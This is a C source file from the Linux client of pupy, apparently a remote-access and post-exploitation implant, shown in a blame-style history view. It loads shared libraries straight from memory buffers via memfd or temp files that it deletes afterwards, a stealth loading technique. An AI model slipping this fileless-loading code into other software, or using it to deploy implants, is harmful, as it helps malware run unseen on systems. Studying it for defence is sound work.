pupy/client/sources-linux/tmplibrary.c

218 lines
4.2 KiB
C
Raw Normal View History

2017-03-06 05:43:24 +00:00
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
2016-08-23 16:48:10 +00:00
#include <limits.h>
#include <fcntl.h>
#include <stdlib.h>
#include <alloca.h>
#include <string.h>
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
2017-03-06 05:43:24 +00:00
#include <link.h>
#include <dlfcn.h>
#include "list.h"
#include "tmplibrary.h"
#include "debug.h"
#include "memfd.h"
#include "decompress.h"
/*
So.. We don't want to bother with reflective bla-bla-bla. Just
upload buffer to temporary file, load it as a library using standard
glibc calls, then delete
*/
static inline
const char *gettemptpl() {
static const char *templates[] = {
2016-08-23 16:48:10 +00:00
"/dev/shm/XXXXXX",
"/tmp/XXXXXX",
"/var/tmp/XXXXXX",
NULL
};
static const char *tmpdir = NULL;
if (! tmpdir) {
int i;
for (i=0; templates[i]; i++) {
char *buf = alloca(strlen(templates[i]+1));
strcpy(buf, templates[i]);
int fd = mkstemp(buf);
int found = 0;
if (fd != -1) {
int page_size = sysconf(_SC_PAGESIZE);
if (ftruncate(fd, page_size) != -1) {
void *map = mmap(
NULL,
page_size,
PROT_READ|PROT_EXEC,
MAP_PRIVATE|MAP_DENYWRITE,
fd,
0
);
if (map != MAP_FAILED) {
munmap(map, page_size);
found = 1;
} else {
dprint("Couldn't use %s -> %m\n", buf);
}
}
unlink(buf);
close(fd);
if (found) {
tmpdir = templates[i];
break;
}
}
dprint("TRY: %s -> %d (%m)\n", buf, fd);
}
if (!tmpdir) {
abort();
}
}
return tmpdir;
}
typedef struct library {
const char *name;
void *base;
} library_t;
bool search_library(void *pState, void *pData) {
library_t *search = (library_t *) pState;
library_t *current = (library_t *) pData;
if (!strcmp(search->name, current->name)) {
search->base = current->base;
dprint("FOUND! %s = %p\n", search->name, search->base);
return true;
}
return false;
}
2017-03-06 05:43:24 +00:00
int drop_library(char *path, size_t path_size, const char *buffer, size_t size) {
int fd = pupy_memfd_create(path, path_size);
2017-03-06 05:43:24 +00:00
bool memfd = true;
2017-03-06 05:43:24 +00:00
if (fd < 0) {
dprint("pupy_memfd_create() failed: %m\n");
2017-03-06 05:43:24 +00:00
memfd = false;
2016-08-23 16:48:10 +00:00
const char *template = gettemptpl();
2016-08-23 16:48:10 +00:00
if (path_size < strlen(template))
2017-03-06 05:43:24 +00:00
return -1;
2016-08-23 16:48:10 +00:00
strcpy(path, template);
fd = mkstemp(path);
2017-03-06 05:43:24 +00:00
if (fd < 0) {
return fd;
}
2016-08-23 16:48:10 +00:00
}
2016-08-24 17:18:48 +00:00
if (size > 2 && buffer[0] == '\x1f' && buffer[1] == '\x8b') {
dprint("Decompressing library %s\n", path);
int r = decompress(fd, buffer, size);
2017-03-06 05:43:24 +00:00
if (!r == 0) {
dprint("Decompress error: %d\n", r);
2017-03-06 05:43:24 +00:00
close(fd);
return -1;
}
} else {
while (size > 0) {
size_t n = write(fd, buffer, size);
if (n == -1) {
dprint("Write failed: %d left, error = %m, buffer = %p, tmpfile = %s\n", size, buffer, path);
2017-03-06 05:43:24 +00:00
close(fd);
unlink(path);
fd = -1;
break;
}
buffer += n;
size -= n;
2016-08-23 16:48:10 +00:00
}
}
2017-03-06 05:43:24 +00:00
if (memfd) {
fcntl(fd, F_ADD_SEALS, F_SEAL_SEAL | F_SEAL_SHRINK | F_SEAL_GROW | F_SEAL_WRITE);
}
2016-08-23 16:48:10 +00:00
2017-03-06 05:43:24 +00:00
return fd;
2016-08-23 16:48:10 +00:00
}
2016-08-24 17:18:48 +00:00
void *memdlopen(const char *soname, const char *buffer, size_t size) {
dprint("memdlopen(\"%s\", %p, %ull)\n", soname, buffer, size);
static PLIST libraries = NULL;
if (!libraries) {
libraries = list_create();
}
library_t search = {
.name = soname,
.base = NULL,
};
if (list_enumerate(libraries, search_library, &search)) {
dprint("SO %s FOUND: %p\n", search.name, search.base);
return search.base;
}
2016-08-23 16:48:10 +00:00
void *base = dlopen(soname, RTLD_NOLOAD);
if (base) {
2016-08-23 16:48:10 +00:00
dprint("Library \"%s\" loaded from OS\n", soname);
return base;
}
2016-08-23 16:48:10 +00:00
char buf[PATH_MAX]={};
2017-03-06 05:43:24 +00:00
int fd = drop_library(buf, PATH_MAX, buffer, size);
if (fd < 0) {
2016-08-23 16:48:10 +00:00
dprint("Couldn't drop library %s: %m\n", soname);
return NULL;
}
2017-03-06 05:43:24 +00:00
bool is_memfd = is_memfd_path(buf);
dprint("Library \"%s\" dropped to \"%s\" (memfd=%d) \n", soname, buf, is_memfd);
base = dlopen(buf, RTLD_NOW | RTLD_GLOBAL);
2017-03-06 05:43:24 +00:00
if (!is_memfd) {
close(fd);
}
if (!base) {
2016-08-23 16:48:10 +00:00
dprint("Couldn't load library %s (%s): %s\n", soname, buf, dlerror());
#ifndef DEBUG
unlink(buf);
#endif
return NULL;
}
2016-08-23 16:48:10 +00:00
dprint("Library %s loaded to %p\n", soname, base);
library_t *record = (library_t *) malloc(sizeof(library_t));
record->name = strdup(soname);
record->base = base;
list_add(libraries, record);
2016-08-23 16:48:10 +00:00
#ifndef DEBUG
unlink(buf);
2016-08-23 16:48:10 +00:00
#endif
return base;
}